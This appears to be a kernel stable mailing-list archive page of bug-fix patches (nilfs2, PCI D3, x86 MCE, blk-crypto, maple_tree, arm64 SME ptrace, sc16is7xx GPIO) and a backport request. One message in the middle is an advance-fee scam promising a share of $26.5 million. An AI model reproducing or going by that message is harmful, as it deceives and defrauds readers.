nilfs2-fix-warning-in-mark_buffer_dirty-due-to-discarded-buffer-reuse.patch
This patch will shortly appear at
https://git.kernel.org/pub/scm/linux/kernel/git/akpm/25-new.git/tree/patche…
This patch will later appear in the mm-hotfixes-unstable branch at
git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
Before you just go and hit "reply", please:
a) Consider who else should be cc'ed
b) Prefer to cc a suitable mailing list as well
c) Ideally: find the original patch on the mailing list and do a
reply-to-all to that, adding suitable additional cc's
*** Remember to use Documentation/process/submit-checklist.rst when testing your code ***
The -mm tree is included into linux-next via the mm-everything
branch at git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
and is updated there every 2-3 working days
------------------------------------------------------
From: Ryusuke Konishi <konishi.ryusuke(a)gmail.com>
Subject: nilfs2: fix WARNING in mark_buffer_dirty due to discarded buffer reuse
Date: Fri, 18 Aug 2023 22:18:04 +0900
A syzbot stress test using a corrupted disk image reported that
mark_buffer_dirty() called from __nilfs_mark_inode_dirty() or
nilfs_palloc_commit_alloc_entry() may output a kernel warning, and can
panic if the kernel is booted with panic_on_warn.
This is because nilfs2 keeps buffer pointers in local structures for some
metadata and reuses them, but such buffers may be forcibly discarded by
nilfs_clear_dirty_page() in some critical situations.
This issue is reported to appear after commit 28a65b49eb53 ("nilfs2: do
not write dirty data after degenerating to read-only"), but the issue has
potentially existed before.
Fix this issue by checking the uptodate flag when attempting to reuse an
internally held buffer, and reloading the metadata instead of reusing the
buffer if the flag was lost.
Link: https://lkml.kernel.org/r/20230818131804.7758-1-konishi.ryusuke@gmail.com
Signed-off-by: Ryusuke Konishi <konishi.ryusuke(a)gmail.com>
Reported-by: syzbot+cdfcae656bac88ba0e2d(a)syzkaller.appspotmail.com
Closes: https://lkml.kernel.org/r/0000000000003da75f05fdeffd12@google.com
Fixes: 8c26c4e2694a ("nilfs2: fix issue with flush kernel thread after remount in RO mode because of driver's internal error or metadata corruption")
Tested-by: Ryusuke Konishi <konishi.ryusuke(a)gmail.com>
Cc: <stable(a)vger.kernel.org> # 3.10+
Signed-off-by: Andrew Morton <akpm(a)linux-foundation.org>
---
fs/nilfs2/alloc.c | 3 ++-
fs/nilfs2/inode.c | 7 +++++--
2 files changed, 7 insertions(+), 3 deletions(-)
--- a/fs/nilfs2/alloc.c~nilfs2-fix-warning-in-mark_buffer_dirty-due-to-discarded-buffer-reuse
+++ a/fs/nilfs2/alloc.c
@@ -205,7 +205,8 @@ static int nilfs_palloc_get_block(struct
int ret;
spin_lock(lock);
- if (prev->bh && blkoff == prev->blkoff) {
+ if (prev->bh && blkoff == prev->blkoff &&
+ likely(buffer_uptodate(prev->bh))) {
get_bh(prev->bh);
*bhp = prev->bh;
spin_unlock(lock);
--- a/fs/nilfs2/inode.c~nilfs2-fix-warning-in-mark_buffer_dirty-due-to-discarded-buffer-reuse
+++ a/fs/nilfs2/inode.c
@@ -1025,7 +1025,7 @@ int nilfs_load_inode_block(struct inode
int err;
spin_lock(&nilfs->ns_inode_lock);
- if (ii->i_bh == NULL) {
+ if (ii->i_bh == NULL || unlikely(!buffer_uptodate(ii->i_bh))) {
spin_unlock(&nilfs->ns_inode_lock);
err = nilfs_ifile_get_inode_block(ii->i_root->ifile,
inode->i_ino, pbh);
@@ -1034,7 +1034,10 @@ int nilfs_load_inode_block(struct inode
spin_lock(&nilfs->ns_inode_lock);
if (ii->i_bh == NULL)
ii->i_bh = *pbh;
- else {
+ else if (unlikely(!buffer_uptodate(ii->i_bh))) {
+ __brelse(ii->i_bh);
+ ii->i_bh = *pbh;
+ } else {
brelse(*pbh);
*pbh = ii->i_bh;
}
_
Patches currently in -mm which might be from konishi.ryusuke(a)gmail.com are
nilfs2-fix-general-protection-fault-in-nilfs_lookup_dirty_data_buffers.patch
nilfs2-fix-warning-in-mark_buffer_dirty-due-to-discarded-buffer-reuse.patch
2 years, 4 months
- 1
- 0
[PATCH v13 01/12] PCI: Only put Intel PCIe ports >= 2015 into D3
by Mario Limonciello
commit 9d26d3a8f1b0 ("PCI: Put PCIe ports into D3 during suspend")
changed pci_bridge_d3_possible() so that any vendor's PCIe ports
from modern machines (>=2015) are allowed to be put into D3.
Iain reports that USB devices can't be used to wake a Lenovo Z13
from suspend. This is because the PCIe root port has been put
into D3 and AMD's platform can't handle USB devices waking in this
case.
This behavior is only reported on Linux. Comparing the behavior
on Windows and Linux, Windows doesn't put the root ports into D3.
To fix the issue without regressing existing Intel systems,
limit the >=2015 check to only apply to Intel PCIe ports.
Cc: stable(a)vger.kernel.org
Fixes: 9d26d3a8f1b0 ("PCI: Put PCIe ports into D3 during suspend")
Reported-by: Iain Lane <iain(a)orangesquash.org.uk>
Closes: https://forums.lenovo.com/t5/Ubuntu/Z13-can-t-resume-from-suspend-with-exte…
Signed-off-by: Mario Limonciello <mario.limonciello(a)amd.com>
---
v12->v13:
* New patch
---
drivers/pci/pci.c | 5 +++--
1 file changed, 3 insertions(+), 2 deletions(-)
diff --git a/drivers/pci/pci.c b/drivers/pci/pci.c
index 60230da957e0c..051e88ee64c63 100644
--- a/drivers/pci/pci.c
+++ b/drivers/pci/pci.c
@@ -3037,10 +3037,11 @@ bool pci_bridge_d3_possible(struct pci_dev *bridge)
return false;
/*
- * It should be safe to put PCIe ports from 2015 or newer
+ * It is safe to put Intel PCIe ports from 2015 or newer
* to D3.
*/
- if (dmi_get_bios_year() >= 2015)
+ if (bridge->vendor == PCI_VENDOR_ID_INTEL &&
+ dmi_get_bios_year() >= 2015)
return true;
break;
}
--
2.34.1
2 years, 4 months
- 4
- 5
[tip: ras/core] x86/MCE: Always save CS register on AMD Zen IF Poison errors
by tip-bot2 for Yazen Ghannam
The following commit has been merged into the ras/core branch of tip:
Commit-ID: 4240e2ebe67941ce2c4f5c866c3af4b5ac7a0c67
Gitweb: https://git.kernel.org/tip/4240e2ebe67941ce2c4f5c866c3af4b5ac7a0c67
Author: Yazen Ghannam <yazen.ghannam(a)amd.com>
AuthorDate: Mon, 14 Aug 2023 15:08:53 -05:00
Committer: Borislav Petkov (AMD) <bp(a)alien8.de>
CommitterDate: Fri, 18 Aug 2023 13:05:52 +02:00
x86/MCE: Always save CS register on AMD Zen IF Poison errors
The Instruction Fetch (IF) units on current AMD Zen-based systems do not
guarantee a synchronous #MC is delivered for poison consumption errors.
Therefore, MCG_STATUS[EIPV|RIPV] will not be set. However, the
microarchitecture does guarantee that the exception is delivered within
the same context. In other words, the exact rIP is not known, but the
context is known to not have changed.
There is no architecturally-defined method to determine this behavior.
The Code Segment (CS) register is always valid on such IF unit poison
errors regardless of the value of MCG_STATUS[EIPV|RIPV].
Add a quirk to save the CS register for poison consumption from the IF
unit banks.
This is needed to properly determine the context of the error.
Otherwise, the severity grading function will assume the context is
IN_KERNEL due to the m->cs value being 0 (the initialized value). This
leads to unnecessary kernel panics on data poison errors due to the
kernel believing the poison consumption occurred in kernel context.
Signed-off-by: Yazen Ghannam <yazen.ghannam(a)amd.com>
Signed-off-by: Borislav Petkov (AMD) <bp(a)alien8.de>
Cc: stable(a)vger.kernel.org
Link: https://lore.kernel.org/r/20230814200853.29258-1-yazen.ghannam@amd.com
---
arch/x86/kernel/cpu/mce/core.c | 26 ++++++++++++++++++++++++++
arch/x86/kernel/cpu/mce/internal.h | 5 ++++-
2 files changed, 30 insertions(+), 1 deletion(-)
diff --git a/arch/x86/kernel/cpu/mce/core.c b/arch/x86/kernel/cpu/mce/core.c
index b8ad5a5..6f35f72 100644
--- a/arch/x86/kernel/cpu/mce/core.c
+++ b/arch/x86/kernel/cpu/mce/core.c
@@ -843,6 +843,26 @@ static noinstr bool quirk_skylake_repmov(void)
}
/*
+ * Some Zen-based Instruction Fetch Units set EIPV=RIPV=0 on poison consumption
+ * errors. This means mce_gather_info() will not save the "ip" and "cs" registers.
+ *
+ * However, the context is still valid, so save the "cs" register for later use.
+ *
+ * The "ip" register is truly unknown, so don't save it or fixup EIPV/RIPV.
+ *
+ * The Instruction Fetch Unit is at MCA bank 1 for all affected systems.
+ */
+static __always_inline void quirk_zen_ifu(int bank, struct mce *m, struct pt_regs *regs)
+{
+ if (bank != 1)
+ return;
+ if (!(m->status & MCI_STATUS_POISON))
+ return;
+
+ m->cs = regs->cs;
+}
+
+/*
* Do a quick check if any of the events requires a panic.
* This decides if we keep the events around or clear them.
*/
@@ -861,6 +881,9 @@ static __always_inline int mce_no_way_out(struct mce *m, char **msg, unsigned lo
if (mce_flags.snb_ifu_quirk)
quirk_sandybridge_ifu(i, m, regs);
+ if (mce_flags.zen_ifu_quirk)
+ quirk_zen_ifu(i, m, regs);
+
m->bank = i;
if (mce_severity(m, regs, &tmp, true) >= MCE_PANIC_SEVERITY) {
mce_read_aux(m, i);
@@ -1849,6 +1872,9 @@ static int __mcheck_cpu_apply_quirks(struct cpuinfo_x86 *c)
if (c->x86 == 0x15 && c->x86_model <= 0xf)
mce_flags.overflow_recov = 1;
+ if (c->x86 >= 0x17 && c->x86 <= 0x1A)
+ mce_flags.zen_ifu_quirk = 1;
+
}
if (c->x86_vendor == X86_VENDOR_INTEL) {
diff --git a/arch/x86/kernel/cpu/mce/internal.h b/arch/x86/kernel/cpu/mce/internal.h
index ed4a71c..bcf1b3c 100644
--- a/arch/x86/kernel/cpu/mce/internal.h
+++ b/arch/x86/kernel/cpu/mce/internal.h
@@ -157,6 +157,9 @@ struct mce_vendor_flags {
*/
smca : 1,
+ /* Zen IFU quirk */
+ zen_ifu_quirk : 1,
+
/* AMD-style error thresholding banks present. */
amd_threshold : 1,
@@ -172,7 +175,7 @@ struct mce_vendor_flags {
/* Skylake, Cascade Lake, Cooper Lake REP;MOVS* quirk */
skx_repmov_quirk : 1,
- __reserved_0 : 56;
+ __reserved_0 : 55;
};
extern struct mce_vendor_flags mce_flags;
2 years, 4 months
- 1
- 0
Greetings
by Mr. Patrick Joseph
I am Mr.Patrick Joseph, The Director in charge of Head of Operations
section of Africa Development Bank Burkina Faso. I need your urgent
business assistance in transferring to your bank account an abandoned
sum of $26.5 million dollars belonging to our deceased customer who
died with his entire family in 2006, leaving nobody for the claim, I
ask you, can we work together? I will be pleased to work with you as a
trusted person and see that the fund is transferred out of my Bank
into another Bank Account, Your share is 35% while 65% for me. Contact
me immediately If you're interested, so I will let you know the next
steps to follow. The transaction is 100% risky free.
Thanks,
Mr.Patrick Joseph.
2 years, 4 months
- 1
- 0
[PATCH v5] blk-crypto: dynamically allocate fallback profile
by Sweet Tea Dorminy
blk_crypto_profile_init() calls lockdep_register_key(), which warns and
does not register if the provided memory is a static object.
blk-crypto-fallback currently has a static blk_crypto_profile and calls
blk_crypto_profile_init() thereupon, resulting in the warning and
failure to register.
Fortunately it is simple enough to use a dynamically allocated profile
and make lockdep function correctly.
Fixes: 2fb48d88e77f ("blk-crypto: use dynamic lock class for blk_crypto_profile::lock")
Cc: stable(a)vger.kernel.org
Signed-off-by: Sweet Tea Dorminy <sweettea-kernel(a)dorminy.me>
---
v5: added correct error return if allocation fails.
v4: removed a stray change introduced in v3.
v3: added allocation error checking as noted by Eric Biggers.
v2: reworded commit message, fixed Fixes tag, as pointed out by Eric
Biggers.
block/blk-crypto-fallback.c | 36 +++++++++++++++++++++++-------------
1 file changed, 23 insertions(+), 13 deletions(-)
diff --git a/block/blk-crypto-fallback.c b/block/blk-crypto-fallback.c
index ad9844c5b40c..e6468eab2681 100644
--- a/block/blk-crypto-fallback.c
+++ b/block/blk-crypto-fallback.c
@@ -78,7 +78,7 @@ static struct blk_crypto_fallback_keyslot {
struct crypto_skcipher *tfms[BLK_ENCRYPTION_MODE_MAX];
} *blk_crypto_keyslots;
-static struct blk_crypto_profile blk_crypto_fallback_profile;
+static struct blk_crypto_profile *blk_crypto_fallback_profile;
static struct workqueue_struct *blk_crypto_wq;
static mempool_t *blk_crypto_bounce_page_pool;
static struct bio_set crypto_bio_split;
@@ -292,7 +292,7 @@ static bool blk_crypto_fallback_encrypt_bio(struct bio **bio_ptr)
* Get a blk-crypto-fallback keyslot that contains a crypto_skcipher for
* this bio's algorithm and key.
*/
- blk_st = blk_crypto_get_keyslot(&blk_crypto_fallback_profile,
+ blk_st = blk_crypto_get_keyslot(blk_crypto_fallback_profile,
bc->bc_key, &slot);
if (blk_st != BLK_STS_OK) {
src_bio->bi_status = blk_st;
@@ -395,7 +395,7 @@ static void blk_crypto_fallback_decrypt_bio(struct work_struct *work)
* Get a blk-crypto-fallback keyslot that contains a crypto_skcipher for
* this bio's algorithm and key.
*/
- blk_st = blk_crypto_get_keyslot(&blk_crypto_fallback_profile,
+ blk_st = blk_crypto_get_keyslot(blk_crypto_fallback_profile,
bc->bc_key, &slot);
if (blk_st != BLK_STS_OK) {
bio->bi_status = blk_st;
@@ -499,7 +499,7 @@ bool blk_crypto_fallback_bio_prep(struct bio **bio_ptr)
return false;
}
- if (!__blk_crypto_cfg_supported(&blk_crypto_fallback_profile,
+ if (!__blk_crypto_cfg_supported(blk_crypto_fallback_profile,
&bc->bc_key->crypto_cfg)) {
bio->bi_status = BLK_STS_NOTSUPP;
return false;
@@ -526,7 +526,7 @@ bool blk_crypto_fallback_bio_prep(struct bio **bio_ptr)
int blk_crypto_fallback_evict_key(const struct blk_crypto_key *key)
{
- return __blk_crypto_evict_key(&blk_crypto_fallback_profile, key);
+ return __blk_crypto_evict_key(blk_crypto_fallback_profile, key);
}
static bool blk_crypto_fallback_inited;
@@ -534,7 +534,6 @@ static int blk_crypto_fallback_init(void)
{
int i;
int err;
- struct blk_crypto_profile *profile = &blk_crypto_fallback_profile;
if (blk_crypto_fallback_inited)
return 0;
@@ -545,18 +544,27 @@ static int blk_crypto_fallback_init(void)
if (err)
goto out;
- err = blk_crypto_profile_init(profile, blk_crypto_num_keyslots);
- if (err)
+ /* Dynamic allocation is needed because of lockdep_register_key(). */
+ blk_crypto_fallback_profile =
+ kzalloc(sizeof(*blk_crypto_fallback_profile), GFP_KERNEL);
+ if (!blk_crypto_fallback_profile) {
+ err = -ENOMEM;
goto fail_free_bioset;
+ }
+
+ err = blk_crypto_profile_init(blk_crypto_fallback_profile,
+ blk_crypto_num_keyslots);
+ if (err)
+ goto fail_free_profile;
err = -ENOMEM;
- profile->ll_ops = blk_crypto_fallback_ll_ops;
- profile->max_dun_bytes_supported = BLK_CRYPTO_MAX_IV_SIZE;
+ blk_crypto_fallback_profile->ll_ops = blk_crypto_fallback_ll_ops;
+ blk_crypto_fallback_profile->max_dun_bytes_supported = BLK_CRYPTO_MAX_IV_SIZE;
/* All blk-crypto modes have a crypto API fallback. */
for (i = 0; i < BLK_ENCRYPTION_MODE_MAX; i++)
- profile->modes_supported[i] = 0xFFFFFFFF;
- profile->modes_supported[BLK_ENCRYPTION_MODE_INVALID] = 0;
+ blk_crypto_fallback_profile->modes_supported[i] = 0xFFFFFFFF;
+ blk_crypto_fallback_profile->modes_supported[BLK_ENCRYPTION_MODE_INVALID] = 0;
blk_crypto_wq = alloc_workqueue("blk_crypto_wq",
WQ_UNBOUND | WQ_HIGHPRI |
@@ -597,7 +605,9 @@ static int blk_crypto_fallback_init(void)
fail_free_wq:
destroy_workqueue(blk_crypto_wq);
fail_destroy_profile:
- blk_crypto_profile_destroy(profile);
+ blk_crypto_profile_destroy(blk_crypto_fallback_profile);
+fail_free_profile:
+ kfree(blk_crypto_fallback_profile);
fail_free_bioset:
bioset_exit(&crypto_bio_split);
out:
--
2.41.0
2 years, 4 months
- 3
- 2
[PATCH 1/2] maple_tree: Disable mas_wr_append() when other readers are possible
by Liam R. Howlett
The current implementation of append may cause duplicate data and/or
incorrect ranges to be returned to a reader during an update. Although
this has not been reported or seen, disable the append write operation
while the tree is in rcu mode out of an abundance of caution.
During the analysis of the mas_next_slot() the following was
artificially created by separating the writer and reader code:
Writer: reader:
mas_wr_append
set end pivot
updates end metata
Detects write to last slot
last slot write is to start of slot
store current contents in slot
overwrite old end pivot
mas_next_slot():
read end metadata
read old end pivot
return with incorrect range
store new value
Alternatively:
Writer: reader:
mas_wr_append
set end pivot
updates end metata
Detects write to last slot
last lost write to end of slot
store value
mas_next_slot():
read end metadata
read old end pivot
read new end pivot
return with incorrect range
set old end pivot
There may be other accesses that are not safe since we are now updating
both metadata and pointers, so disabling append if there could be rcu
readers is the safest action.
Cc: stable(a)vger.kernel.org
Signed-off-by: Liam R. Howlett <Liam.Howlett(a)oracle.com>
---
lib/maple_tree.c | 7 +++++++
1 file changed, 7 insertions(+)
diff --git a/lib/maple_tree.c b/lib/maple_tree.c
index ffb9d15bd815..05d5db255c39 100644
--- a/lib/maple_tree.c
+++ b/lib/maple_tree.c
@@ -4107,6 +4107,10 @@ static inline unsigned char mas_wr_new_end(struct ma_wr_state *wr_mas)
* mas_wr_append: Attempt to append
* @wr_mas: the maple write state
*
+ * This is currently unsafe in rcu mode since the end of the node may be cached
+ * by readers while the node contents may be updated which could result in
+ * inaccurate information.
+ *
* Return: True if appended, false otherwise
*/
static inline bool mas_wr_append(struct ma_wr_state *wr_mas,
@@ -4116,6 +4120,9 @@ static inline bool mas_wr_append(struct ma_wr_state *wr_mas,
struct ma_state *mas = wr_mas->mas;
unsigned char node_pivots = mt_pivots[wr_mas->type];
+ if (mt_in_rcu(mas->tree))
+ return false;
+
if (mas->offset != wr_mas->node_end)
return false;
--
2.39.2
2 years, 4 months
- 2
- 1
Request to add a patch to Stable Branch 6.1
by SG
(Before starting, i want to say i am not the developer of the patch, i am
just an end user of a distribution kernel, which has just faced some
problem, i don't even know if kernel team accepts patch requests from non
dev, and thi mail is mostly shot in dark)
Respected Sir/s/Ma'am/s
I want to request that patch
https://lore.kernel.org/all/20230627062442.54008-1-mika.westerberg@linux.in…
be accepted in to the stable 6.1 branch, it is already present in the
current branch, and i request for it to be backported. This fixes some
Intel CPUs (according to other users claims, ranging back to 6th gen
for some) not going to deeper c states with kernels 5.16+, and was
fixed by this patch in 6.4.4+, since many institutions, and
distributions use 6.1, it would be great if this is included (from
what i understand from requirements
(https://www.kernel.org/doc/html/latest/process/stable-kernel-rules.html)
i guess it fits all)
I was facing this issue for roughly a year, and then reported in
debian(my distribution) forums, and we found nothing earlier
(https://forums.debian.net/viewtopic.php?t=154875), then i posted on
some other forums, and then i was asked to check if there was an
active bug linux kernel tracker at that time, and i could not find
one, so i decided to raise an issue
(https://bugzilla.kernel.org/show_bug.cgi?id=217616), but just a few
days prior to me posting someone had submiteed the patch, that i did
not know of, since then i am using the newest kernel(in 6.4 branch)
and am not facing issues.
I apologize for all the foolishness of mine, and just making an humble
request.
Thank You
2 years, 4 months
- 2
- 1
[PATCH] arm64/ptrace: Ensure that SME is set up for target when writing SSVE state
by Mark Brown
When we use NT_ARM_SSVE to either enable streaming mode or change the
vector length for a process we do not currently do anything to ensure that
there is storage allocated for the SME specific register state. If the
task had not previously used SME or we changed the vector length then
the task will not have had TIF_SME set or backing storage for ZA/ZT
allocated, resulting in inconsistent register sizes when saving state
and spurious traps which flush the newly set register state.
We should set TIF_SME to disable traps and ensure that storage is
allocated for ZA and ZT if it is not already allocated. This requires
modifying sme_alloc() to make the flush of any existing register state
optional so we don't disturb existing state for ZA and ZT.
Fixes: e12310a0d30f ("arm64/sme: Implement ptrace support for streaming mode SVE registers")
Reported-by: David Spickett <David.Spickett(a)arm.com>
Signed-off-by: Mark Brown <broonie(a)kernel.org>
Cc: stable(a)vger.kernel.org
---
arch/arm64/include/asm/fpsimd.h | 4 ++--
arch/arm64/kernel/fpsimd.c | 6 +++---
arch/arm64/kernel/ptrace.c | 12 ++++++++++--
arch/arm64/kernel/signal.c | 2 +-
4 files changed, 16 insertions(+), 8 deletions(-)
diff --git a/arch/arm64/include/asm/fpsimd.h b/arch/arm64/include/asm/fpsimd.h
index 67f2fb781f59..8df46f186c64 100644
--- a/arch/arm64/include/asm/fpsimd.h
+++ b/arch/arm64/include/asm/fpsimd.h
@@ -356,7 +356,7 @@ static inline int sme_max_virtualisable_vl(void)
return vec_max_virtualisable_vl(ARM64_VEC_SME);
}
-extern void sme_alloc(struct task_struct *task);
+extern void sme_alloc(struct task_struct *task, bool flush);
extern unsigned int sme_get_vl(void);
extern int sme_set_current_vl(unsigned long arg);
extern int sme_get_current_vl(void);
@@ -388,7 +388,7 @@ static inline void sme_smstart_sm(void) { }
static inline void sme_smstop_sm(void) { }
static inline void sme_smstop(void) { }
-static inline void sme_alloc(struct task_struct *task) { }
+static inline void sme_alloc(struct task_struct *task, bool flush) { }
static inline void sme_setup(void) { }
static inline unsigned int sme_get_vl(void) { return 0; }
static inline int sme_max_vl(void) { return 0; }
diff --git a/arch/arm64/kernel/fpsimd.c b/arch/arm64/kernel/fpsimd.c
index 75c37b1c55aa..087c05aa960e 100644
--- a/arch/arm64/kernel/fpsimd.c
+++ b/arch/arm64/kernel/fpsimd.c
@@ -1285,9 +1285,9 @@ void fpsimd_release_task(struct task_struct *dead_task)
* the interest of testability and predictability, the architecture
* guarantees that when ZA is enabled it will be zeroed.
*/
-void sme_alloc(struct task_struct *task)
+void sme_alloc(struct task_struct *task, bool flush)
{
- if (task->thread.sme_state) {
+ if (task->thread.sme_state && flush) {
memset(task->thread.sme_state, 0, sme_state_size(task));
return;
}
@@ -1515,7 +1515,7 @@ void do_sme_acc(unsigned long esr, struct pt_regs *regs)
}
sve_alloc(current, false);
- sme_alloc(current);
+ sme_alloc(current, true);
if (!current->thread.sve_state || !current->thread.sme_state) {
force_sig(SIGKILL);
return;
diff --git a/arch/arm64/kernel/ptrace.c b/arch/arm64/kernel/ptrace.c
index 5b9b4305248b..95568e865ae1 100644
--- a/arch/arm64/kernel/ptrace.c
+++ b/arch/arm64/kernel/ptrace.c
@@ -881,6 +881,14 @@ static int sve_set_common(struct task_struct *target,
break;
case ARM64_VEC_SME:
target->thread.svcr |= SVCR_SM_MASK;
+
+ /*
+ * Disable tramsp and ensure there is SME
+ * storage but preserve any currently set
+ * values in ZA/ZT.
+ */
+ sme_alloc(target, false);
+ set_tsk_thread_flag(target, TIF_SME);
break;
default:
WARN_ON_ONCE(1);
@@ -1100,7 +1108,7 @@ static int za_set(struct task_struct *target,
}
/* Allocate/reinit ZA storage */
- sme_alloc(target);
+ sme_alloc(target, true);
if (!target->thread.sme_state) {
ret = -ENOMEM;
goto out;
@@ -1171,7 +1179,7 @@ static int zt_set(struct task_struct *target,
return -EINVAL;
if (!thread_za_enabled(&target->thread)) {
- sme_alloc(target);
+ sme_alloc(target, true);
if (!target->thread.sme_state)
return -ENOMEM;
}
diff --git a/arch/arm64/kernel/signal.c b/arch/arm64/kernel/signal.c
index e304f7ebec2a..c7ebe744c64e 100644
--- a/arch/arm64/kernel/signal.c
+++ b/arch/arm64/kernel/signal.c
@@ -475,7 +475,7 @@ static int restore_za_context(struct user_ctxs *user)
fpsimd_flush_task_state(current);
/* From now, fpsimd_thread_switch() won't touch thread.sve_state */
- sme_alloc(current);
+ sme_alloc(current, true);
if (!current->thread.sme_state) {
current->thread.svcr &= ~SVCR_ZA_MASK;
clear_thread_flag(TIF_SME);
---
base-commit: 52a93d39b17dc7eb98b6aa3edb93943248e03b2f
change-id: 20230809-arm64-fix-ptrace-race-db8552fb985b
Best regards,
--
Mark Brown <broonie(a)kernel.org>
2 years, 4 months
- 2
- 1
[PATCH v10 3/6] dt-bindings: sc16is7xx: Add property to change GPIO function
by Hugo Villeneuve
From: Hugo Villeneuve <hvilleneuve(a)dimonoff.com>
Some variants in this series of UART controllers have GPIO pins that
are shared between GPIO and modem control lines.
The pin mux mode (GPIO or modem control lines) can be set for each
ports (channels) supported by the variant.
This adds a property to the device tree to set the GPIO pin mux to
modem control lines on selected ports if needed.
Cc: <stable(a)vger.kernel.org> # 6.1.x
Signed-off-by: Hugo Villeneuve <hvilleneuve(a)dimonoff.com>
Acked-by: Conor Dooley <conor.dooley(a)microchip.com>
Reviewed-by: Lech Perczak <lech.perczak(a)camlingroup.com>
---
.../bindings/serial/nxp,sc16is7xx.txt | 46 +++++++++++++++++++
1 file changed, 46 insertions(+)
diff --git a/Documentation/devicetree/bindings/serial/nxp,sc16is7xx.txt b/Documentation/devicetree/bindings/serial/nxp,sc16is7xx.txt
index 0fa8e3e43bf8..1a7e4bff0456 100644
--- a/Documentation/devicetree/bindings/serial/nxp,sc16is7xx.txt
+++ b/Documentation/devicetree/bindings/serial/nxp,sc16is7xx.txt
@@ -23,6 +23,9 @@ Optional properties:
1 = active low.
- irda-mode-ports: An array that lists the indices of the port that
should operate in IrDA mode.
+- nxp,modem-control-line-ports: An array that lists the indices of the port that
+ should have shared GPIO lines configured as
+ modem control lines.
Example:
sc16is750: sc16is750@51 {
@@ -35,6 +38,26 @@ Example:
#gpio-cells = <2>;
};
+ sc16is752: sc16is752@53 {
+ compatible = "nxp,sc16is752";
+ reg = <0x53>;
+ clocks = <&clk20m>;
+ interrupt-parent = <&gpio3>;
+ interrupts = <7 IRQ_TYPE_EDGE_FALLING>;
+ nxp,modem-control-line-ports = <1>; /* Port 1 as modem control lines */
+ gpio-controller; /* Port 0 as GPIOs */
+ #gpio-cells = <2>;
+ };
+
+ sc16is752: sc16is752@54 {
+ compatible = "nxp,sc16is752";
+ reg = <0x54>;
+ clocks = <&clk20m>;
+ interrupt-parent = <&gpio3>;
+ interrupts = <7 IRQ_TYPE_EDGE_FALLING>;
+ nxp,modem-control-line-ports = <0 1>; /* Ports 0 and 1 as modem control lines */
+ };
+
* spi as bus
Required properties:
@@ -59,6 +82,9 @@ Optional properties:
1 = active low.
- irda-mode-ports: An array that lists the indices of the port that
should operate in IrDA mode.
+- nxp,modem-control-line-ports: An array that lists the indices of the port that
+ should have shared GPIO lines configured as
+ modem control lines.
Example:
sc16is750: sc16is750@0 {
@@ -70,3 +96,23 @@ Example:
gpio-controller;
#gpio-cells = <2>;
};
+
+ sc16is752: sc16is752@1 {
+ compatible = "nxp,sc16is752";
+ reg = <1>;
+ clocks = <&clk20m>;
+ interrupt-parent = <&gpio3>;
+ interrupts = <7 IRQ_TYPE_EDGE_FALLING>;
+ nxp,modem-control-line-ports = <1>; /* Port 1 as modem control lines */
+ gpio-controller; /* Port 0 as GPIOs */
+ #gpio-cells = <2>;
+ };
+
+ sc16is752: sc16is752@2 {
+ compatible = "nxp,sc16is752";
+ reg = <2>;
+ clocks = <&clk20m>;
+ interrupt-parent = <&gpio3>;
+ interrupts = <7 IRQ_TYPE_EDGE_FALLING>;
+ nxp,modem-control-line-ports = <0 1>; /* Ports 0 and 1 as modem control lines */
+ };
--
2.30.2
2 years, 4 months
- 2
- 1
[PATCH v10 4/6] serial: sc16is7xx: fix regression with GPIO configuration
by Hugo Villeneuve
From: Hugo Villeneuve <hvilleneuve(a)dimonoff.com>
Commit 679875d1d880 ("sc16is7xx: Separate GPIOs from modem control lines")
and commit 21144bab4f11 ("sc16is7xx: Handle modem status lines")
changed the function of the GPIOs pins to act as modem control
lines without any possibility of selecting GPIO function.
As a consequence, applications that depends on GPIO lines configured
by default as GPIO pins no longer work as expected.
Also, the change to select modem control lines function was done only
for channel A of dual UART variants (752/762). This was not documented
in the log message.
Allow to specify GPIO or modem control line function in the device
tree, and for each of the ports (A or B).
Do so by using the new device-tree property named
"nxp,modem-control-line-ports" (property added in separate patch).
When registering GPIO chip controller, mask-out GPIO pins declared as
modem control lines according to this new DT property.
Fixes: 679875d1d880 ("sc16is7xx: Separate GPIOs from modem control lines")
Fixes: 21144bab4f11 ("sc16is7xx: Handle modem status lines")
Cc: <stable(a)vger.kernel.org>
Signed-off-by: Hugo Villeneuve <hvilleneuve(a)dimonoff.com>
Reviewed-by: Andy Shevchenko <andy.shevchenko(a)gmail.com>
Reviewed-by: Lech Perczak <lech.perczak(a)camlingroup.com>
Tested-by: Lech Perczak <lech.perczak(a)camlingroup.com>
---
drivers/tty/serial/sc16is7xx.c | 143 +++++++++++++++++++++++++--------
1 file changed, 108 insertions(+), 35 deletions(-)
diff --git a/drivers/tty/serial/sc16is7xx.c b/drivers/tty/serial/sc16is7xx.c
index 93b4137daa8b..b45e34e3910d 100644
--- a/drivers/tty/serial/sc16is7xx.c
+++ b/drivers/tty/serial/sc16is7xx.c
@@ -236,7 +236,8 @@
/* IOControl register bits (Only 750/760) */
#define SC16IS7XX_IOCONTROL_LATCH_BIT (1 << 0) /* Enable input latching */
-#define SC16IS7XX_IOCONTROL_MODEM_BIT (1 << 1) /* Enable GPIO[7:4] as modem pins */
+#define SC16IS7XX_IOCONTROL_MODEM_A_BIT (1 << 1) /* Enable GPIO[7:4] as modem A pins */
+#define SC16IS7XX_IOCONTROL_MODEM_B_BIT (1 << 2) /* Enable GPIO[3:0] as modem B pins */
#define SC16IS7XX_IOCONTROL_SRESET_BIT (1 << 3) /* Software Reset */
/* EFCR register bits */
@@ -301,12 +302,12 @@
/* Misc definitions */
#define SC16IS7XX_FIFO_SIZE (64)
#define SC16IS7XX_REG_SHIFT 2
+#define SC16IS7XX_GPIOS_PER_BANK 4
struct sc16is7xx_devtype {
char name[10];
int nr_gpio;
int nr_uart;
- int has_mctrl;
};
#define SC16IS7XX_RECONF_MD (1 << 0)
@@ -336,7 +337,9 @@ struct sc16is7xx_port {
struct clk *clk;
#ifdef CONFIG_GPIOLIB
struct gpio_chip gpio;
+ unsigned long gpio_valid_mask;
#endif
+ u8 mctrl_mask;
unsigned char buf[SC16IS7XX_FIFO_SIZE];
struct kthread_worker kworker;
struct task_struct *kworker_task;
@@ -447,35 +450,30 @@ static const struct sc16is7xx_devtype sc16is74x_devtype = {
.name = "SC16IS74X",
.nr_gpio = 0,
.nr_uart = 1,
- .has_mctrl = 0,
};
static const struct sc16is7xx_devtype sc16is750_devtype = {
.name = "SC16IS750",
- .nr_gpio = 4,
+ .nr_gpio = 8,
.nr_uart = 1,
- .has_mctrl = 1,
};
